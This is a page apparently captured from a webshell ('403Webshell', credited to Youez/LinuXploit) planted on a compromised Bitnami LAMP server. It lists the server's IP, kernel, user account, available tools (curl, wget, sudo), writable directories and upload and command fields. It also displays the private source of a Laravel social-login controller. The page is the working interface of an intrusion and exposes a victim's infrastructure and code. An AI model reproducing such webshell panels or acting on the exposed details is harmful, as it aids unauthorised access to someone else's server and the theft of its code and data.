403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/app/Http/Controllers/AuthSocializeController.php
<?php

namespace App\Http\Controllers;

use App\Http\Requests\AuthSocializes\SocializeLoginRequest;
use App\Http\Requests\AuthSocializes\SocializeRegisterRequest;
use App\Http\Services\AuthSocializeService;
use Auth;
use DB;

class AuthSocializeController extends Controller
{   
	public function __construct(
		AuthSocializeService $authSocializeService
	)
	{
		$this->authSocializeService = $authSocializeService;
	}

	/**
	* @OA\Post(
	*
	*	path="/api/auth/{type}/login",
	*	operationId="socializeLogin",
	*	tags={"Auth - Socialize"},
	*	summary="Login User with Socialize",
	*	security={
	*		{
	*			"open_key": {}
	*		}
	*	},
	*	@OA\Parameter(
	*		name="type",
	*		description="type",
	*		in="path",
	*		@OA\Schema(
	*			type="enum",
	*			default="apple",
	*			enum={"apple", "google", "facebook"}
	*		)
	*	),
	*	@OA\Parameter(
	*		name="access_token",
	*		description="access_token",
	*		in="query",
	*		@OA\Schema(
	*			type="string",
	*			default=""
	*		)
	*	),
	*	@OA\Parameter(
	*		name="device_name",
	*		description="Device Name",
	*		in="query",
	*		@OA\Schema(
	*			type="string",
	*			default="swagger"
	*		)
	*	),
	*	@OA\Parameter(
	*		name="fcm_token",
	*		description="fcm_token",
	*		in="query",
	*		@OA\Schema(
	*			type="string",
	*			default=""
	*		)
	*	),
	*	@OA\Parameter(
	*		name="platform",
	*		description="platform",
	*		in="query",
	*		@OA\Schema(
	*			type="enum",
	*			default="",
	*			enum={"ios", "android"}
	*		)
	*	),
	*	@OA\Response(
	*		response=200,
	*		description="Success",
	*		@OA\JsonContent()
	*	),
	*	@OA\Response(response=400, description="Bad request"),
	*	@OA\Response(response=404, description="Resource Not Found"),
	*	@OA\Response(response=422, description="Unprocessable Entity"),
	*	@OA\Response(response=500, description="Internal Server Error"),
	* )
	*/
	public function socializeLogin(SocializeLoginRequest $request)
	{
		$token = $this->authSocializeService->socializeLogin( $request->validated() );
		return self::successResponse("Success",[
			"token" => $token->plainTextToken,
			"user" => Auth::user(),
		]);
	}   
}

Youez - 2016 - github.com/yon3zu
LinuXploit